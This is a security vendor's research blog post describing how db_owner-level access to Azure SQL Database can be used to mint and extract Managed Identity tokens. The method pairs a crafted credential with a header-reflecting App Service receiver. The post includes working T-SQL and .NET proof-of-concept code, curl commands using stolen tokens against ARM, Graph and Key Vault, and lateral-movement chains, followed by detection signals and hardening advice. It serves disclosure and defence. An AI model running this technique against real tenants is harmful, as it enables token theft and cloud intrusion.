← All articles
Identity SecurityJun 22, 202612 min read

Extracting Azure Managed Identity Tokens From Azure SQL Database

Ashraf KhaledSecurity Research EngineerLinkedIn

Executive Summary

Azure SQL Database can mint Entra ID tokens for its own Managed Identity entirely from within T-SQL. By combining sp_invoke_external_rest_endpoint with a crafted DATABASE SCOPED CREDENTIAL, a principal with sufficient database privileges can obtain tokens for any first-party Azure audience the identity is authorized to access — and use those tokens entirely outside the database context.

The platform validates that the outbound URL is on a Microsoft allowlist and that the credential name matches the destination, but it does not verify that the requested token audience has any relationship to that destination. This gap turns a db_owner-level foothold into a token-minting capability bounded only by the Managed Identity's RBAC. This post walks through the technique, a working proof of concept, the detection signals it produces, and the configuration changes that close it.


Background

Azure SQL Database includes sp_invoke_external_rest_endpoint, a system stored procedure that issues outbound HTTPS calls from within the database engine. When a DATABASE SCOPED CREDENTIAL of type Managed Identity is attached to the call, the platform acquires a token on behalf of the SQL Server's assigned identity and injects it into the outgoing Authorization header.

The response parameter @response only contains what the remote server returns. SQL does not surface the outbound request headers to the caller, so the token cannot be read directly from the procedure output. This limitation is the only obstacle between a privileged database user and the identity's full token-minting capability, and it can be bypassed by routing the call through a receiver endpoint that reflects incoming headers back in the response body.


Managed Identity Types

Azure SQL Server supports two identity types relevant to this technique.

System-assigned identity is bound to the SQL Server's lifecycle. Enabling it creates a service principal in Entra ID scoped exclusively to that resource. Deleting the server deletes the identity.

User-assigned identity is a standalone Entra ID resource that can be attached to multiple Azure resources simultaneously. When multiple user-assigned identities are assigned to a server, one is designated as the primary identity. The sp_invoke_external_rest_endpoint procedure uses the primary identity by default. A specific identity can be targeted by including its client_id in the credential's SECRET field.

How sp_invoke resolves the identity at runtime:

Configuration Runtime Behavior
System-assigned only System-assigned identity is used
User-assigned with primary designated Primary identity is used; no client_id required
Both types present User-assigned takes precedence
Specific user-assigned identity required client_id must be specified in SECRET

Disabling system-assigned identity does not eliminate the risk. If a user-assigned identity is still attached and holds RBAC permissions over sensitive resources, the attack path is unchanged.


The Outbound URL Allowlist

Azure SQL Database restricts outbound calls to a Microsoft-maintained allowlist validated through two mechanisms: domain string matching against known patterns and IP resolution to confirm the destination falls within Azure-owned address space. Custom domains are not supported. Reaching a custom-domain endpoint requires routing through Azure API Management, whose azure-api.net subdomain is on the allowlist.

Notable allowlist entries:

Domain Pattern Service
*.azurewebsites.net App Service, Azure Functions
*.azure-api.net API Management
*.blob.core.windows.net Blob Storage
*.vault.azure.net Key Vault
*.cognitiveservices.azure.com Azure AI Services
*.openai.azure.com Azure OpenAI
graph.microsoft.com Microsoft Graph
management.azure.com Azure Resource Manager
login.microsoftonline.com Blocked

login.microsoftonline.com is explicitly blocked, preventing direct token acquisition via the Entra ID token endpoint from within Azure SQL. Managed Identity is the only available path for obtaining tokens from inside the database, which is precisely what makes this technique effective.

This restriction is specific to Azure SQL Database (PaaS). SQL Server 2025 does not enforce an allowlist and can reach any HTTPS endpoint.


The Core Finding: Credential Name and resourceid Are Decoupled

When creating a Managed Identity credential, two values are specified:

The credential name must exactly match the URL being called. SQL enforces this at execution time and returns Error 31630 on mismatch.

The resourceid field in SECRET determines the audience of the token requested from Entra ID. SQL does not validate this value against the destination URL.

These two controls are completely independent. SQL enforces the URL match to satisfy the allowlist requirement but places no restriction on which audience the token is issued for. A credential can therefore point to an allowlisted receiver while requesting a token for an entirely different service.

The execution flow:

  1. SQL validates the URL against the allowlist.
  2. SQL validates that the credential name matches the called URL.
  3. SQL requests a token from Entra ID using the audience in resourceid.
  4. SQL sends the request to the receiver with the token in the Authorization header.
  5. The receiver reflects the token in the response body.
  6. SQL returns the response. The token is now readable by the caller.

Required Permissions

This is a post-exploitation technique requiring an established foothold within the database. The following permissions are needed:

Permission Purpose
CONTROL DATABASE or db_owner Create a Database Master Key
ALTER ANY DATABASE SCOPED CREDENTIAL Create the credential
EXECUTE ANY EXTERNAL ENDPOINT Execute sp_invoke_external_rest_endpoint
REFERENCES on the credential Use the credential in @credential parameter

The db_owner role satisfies all four. Granting db_owner to application service accounts is a common misconfiguration in enterprise environments and represents the most likely initial access vector for this technique. A non-db_owner principal can also execute this attack if these two permissions are explicitly granted:

GRANT EXECUTE ANY EXTERNAL ENDPOINT TO [principal];
GRANT ALTER ANY DATABASE SCOPED CREDENTIAL TO [principal];

Lab Setup

SQL Server: Managed Identity

Enable the identity under Security > Identity on the SQL Server resource in the Azure Portal.

For system-assigned identity, toggle the status to On. An Object ID appears after saving, representing the service principal provisioned in Entra ID.

For user-assigned identity, add an existing managed identity from the same page and set it as the Primary identity.

Receiver Application

The receiver is a minimal .NET application deployed to App Service. It reflects all incoming request headers in the response body.

app.MapGet("/api/token", (HttpContext ctx) =>
{
    var headers = ctx.Request.Headers
        .ToDictionary(h => h.Key, h => h.Value.ToString());
    return Results.Ok(new { headers });
});

One configuration requirement: the App Service Authentication page must have no identity providers configured. The current Azure Portal UI shows an empty authentication page when no providers are set, which is the correct state. If any provider is added, App Service Easy Auth intercepts the incoming bearer token before it reaches the application handler.

Verify the receiver before running the PoC:

curl -s https://<appname>.azurewebsites.net/api/token | jq

The receiver reflecting all incoming request headers in its JSON response

The receiver reflects all incoming request headers back in its JSON response — the mechanism that exposes the injected token.


Proof of Concept

Credential Setup

-- Create Master Key if absent
IF NOT EXISTS (
    SELECT * FROM sys.symmetric_keys
    WHERE name = '##MS_DatabaseMasterKey##'
)
BEGIN
    CREATE MASTER KEY ENCRYPTION BY PASSWORD = '<strong-password>';
END
GO

-- System-assigned identity, targeting Microsoft Graph
CREATE DATABASE SCOPED CREDENTIAL [https://appwrktest.azurewebsites.net]
WITH IDENTITY = 'Managed Identity',
     SECRET   = '{"resourceid":"https://graph.microsoft.com"}';
GO

-- User-assigned identity (client_id required)
CREATE DATABASE SCOPED CREDENTIAL [https://appwrktest.azurewebsites.net]
WITH IDENTITY = 'Managed Identity',
     SECRET   = '{"client_id":"<uami-client-id>","resourceid":"https://graph.microsoft.com"}';
GO

Token Extraction

DECLARE @ret INT, @response NVARCHAR(MAX);

EXEC @ret = sys.sp_invoke_external_rest_endpoint
    @url        = N'https://appwrktest.azurewebsites.net/api/token',
    @method     = N'GET',
    @credential = [https://appwrktest.azurewebsites.net],
    @response   = @response OUTPUT;

-- Full Authorization header value
SELECT JSON_VALUE(@response, '$.result.headers.Authorization') AS Token;
GO

-- Raw JWT only
SELECT SUBSTRING(
    JSON_VALUE(@response, '$.result.headers.Authorization'),
    8, 9999
) AS RawJWT;
GO

Executing sp_invoke_external_rest_endpoint against the receiver

Executing sp_invoke_external_rest_endpoint against the receiver from a SQL client.

The Managed Identity token returned in the response body

The Managed Identity token, reflected back by the receiver and now readable from the procedure output.

The receiver reflects the full Authorization header value including the Bearer prefix. When using the token in downstream requests, do not prepend Bearer a second time.

Targeting Different Audiences

Drop the credential and recreate with a different resourceid. The receiver URL remains unchanged.

DROP DATABASE SCOPED CREDENTIAL [https://appwrktest.azurewebsites.net];
GO

CREATE DATABASE SCOPED CREDENTIAL [https://appwrktest.azurewebsites.net]
WITH IDENTITY = 'Managed Identity',
     SECRET   = '{"resourceid":"https://management.azure.com/"}';
GO

Supported audiences:

Service resourceid
Microsoft Graph https://graph.microsoft.com
Azure Resource Manager https://management.azure.com/
Key Vault https://vault.azure.net
Storage https://storage.azure.com/
Azure OpenAI https://cognitiveservices.azure.com
Service Bus https://servicebus.azure.net
Azure SQL https://database.windows.net/

Token Validation

TOKEN="eyJ0eXAi..."

# Enumerate accessible subscriptions
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://management.azure.com/subscriptions?api-version=2022-12-01" | jq

# Enumerate tenant users via Graph
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://graph.microsoft.com/v1.0/users" | jq

# List Key Vault secrets
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://<vault-name>.vault.azure.net/secrets?api-version=7.4" | jq

Using the extracted ARM token to enumerate accessible subscriptions

The extracted Azure Resource Manager token used from an external host to enumerate accessible subscriptions.

The decoded JWT confirms the intended audience in the aud claim. Each target service validates this claim independently. A token issued for ARM is rejected by Graph, and vice versa.

{
  "aud": "https://graph.microsoft.com",
  "iss": "https://sts.windows.net/<tenant-id>/",
  "oid": "<sql-server-mi-object-id>",
  "appid": "<sql-server-mi-client-id>",
  "exp": 1782194024
}

Decoded JWT showing the aud claim matching the requested audience

The decoded token: the aud claim matches the audience requested via resourceid, not the receiver URL the request was sent to.


Control Bypass Summary

Control Enforced By Bypassable
Outbound URL allowlist Azure SQL platform No
Credential name must match called URL Azure SQL platform No
resourceid must correspond to destination Not enforced Yes. This is the basis of the technique.
Token grants access Entra ID / RBAC Bounded by identity permissions

Attack Paths

Standard Chain

db_owner access obtained
  --> DATABASE SCOPED CREDENTIAL created with target resourceid
      --> sp_invoke called against receiver
          --> Managed Identity token extracted
              --> Lateral movement:
                  ARM token    --> Enumerate and manage subscription resources
                  Graph token  --> Enumerate users, groups, service principals, application permissions
                  KV token     --> Read secrets, certificates, and cryptographic keys

Shared User-Assigned Identity

User-assigned identities are commonly shared across resources to simplify access management. When the same identity is attached to multiple SQL Servers, the weakest database in the group determines the blast radius for all of them.

Identity: mi-app-prod
  Attached to: SQL Server [prod], [staging], [dev]
  RBAC assignments:
    Key Vault Secrets User     on production-kv
    Storage Blob Data Reader   on production-storage
    Graph API: User.Read.All

Compromise path:
  db_owner obtained on dev (weakest security controls)
    --> Token minted using mi-app-prod
        --> Full access to production-kv, production-storage, and tenant directory

The production SQL Server is never touched. Development and staging environments typically share identities with production while maintaining looser access controls and broader db_owner grants. This mismatch creates a reliable escalation path.

Key Vault Pivot

Key Vault access is particularly valuable because its contents enable further movement beyond the Azure control plane.

Key Vault token obtained
  --> Secrets enumerated:
      Database connection strings
      Third-party API keys
      CI/CD pipeline credentials
      Service account passwords
  --> Each secret represents an independent lateral movement path

Detection

Database-Level Signals

  • CREATE DATABASE SCOPED CREDENTIAL DDL events where the credential name is an azurewebsites.net URL
  • sp_invoke_external_rest_endpoint executions from databases with no prior history of outbound activity
  • Repeated credential drop-and-recreate cycles within a short window, indicating audience rotation
  • Outbound egress to azurewebsites.net from databases without a documented integration dependency

Entra ID Sign-in Logs

  • Sign-in events from the SQL Server's service principal
  • Token requests to high-value audiences (ARM, Graph, Key Vault) from an identity with no legitimate reason to access those services
  • Multiple token requests targeting different audiences in rapid succession from the same identity
  • For shared user-assigned identities, token requests from unexpected source resources

Recommendations

Immediate actions:

  • Audit all SQL Servers for active Managed Identities. Disable any that serve no documented purpose.
  • Do not attach the same user-assigned identity to resources across different security tiers. Development, staging, and production environments must use separate identities.
  • Apply least-privilege RBAC to every SQL Server identity. Scope roles to the minimum set of services the identity legitimately accesses.
  • Replace db_owner grants to application service accounts with purpose-specific roles.

Monitoring and hardening:

  • Enable SQL Audit or Defender for Cloud to capture CREATE DATABASE SCOPED CREDENTIAL and sp_invoke_external_rest_endpoint events.
  • Alert on sign-in events from SQL Server service principals targeting high-value audiences.
  • Restrict EXECUTE ANY EXTERNAL ENDPOINT to principals with a documented and approved business requirement.

Assessment checklist:

  1. Which SQL Servers have Managed Identities enabled, and of which type?
  2. What RBAC roles are assigned to each identity? (az role assignment list --assignee <object-id> --all)
  3. Is any user-assigned identity shared across resources with different security classifications?
  4. Who holds db_owner or EXECUTE ANY EXTERNAL ENDPOINT on each database?

Conclusion

The combination of sp_invoke_external_rest_endpoint, DATABASE SCOPED CREDENTIAL, and Managed Identity creates a token minting capability inside Azure SQL Database. The platform validates that the outbound URL matches the allowlist and that the credential name corresponds to the destination, but it does not verify that the requested token audience has any relationship to that destination. This gap allows a caller with sufficient database permissions to obtain valid tokens for any first-party Azure service the identity is authorized to access.

The impact is not bounded by the permissions of the database user. It is bounded by the permissions of the Managed Identity. In environments where user-assigned identities are shared across resources with different security postures, a foothold on the least-protected database is sufficient to access every resource the shared identity can reach.

SQL Server Managed Identities and their RBAC assignments should be a first-class component of any Azure identity security posture assessment.


References


This research is published for educational purposes. Testing this technique against systems without explicit authorization is prohibited.

Share This Article, Secure Your Friends!

See your identity exposure clearly.

Start with a 1-day Proof of Value in your own environment.

We respect your privacy

We use cookies to keep this site secure and working properly. With your permission, we also use optional cookies to understand usage and improve the experience. Cookie Policy

You can change your choice at any time.

Extracting Azure Managed Identity Tokens From Azure SQL Database | Blog | Forestall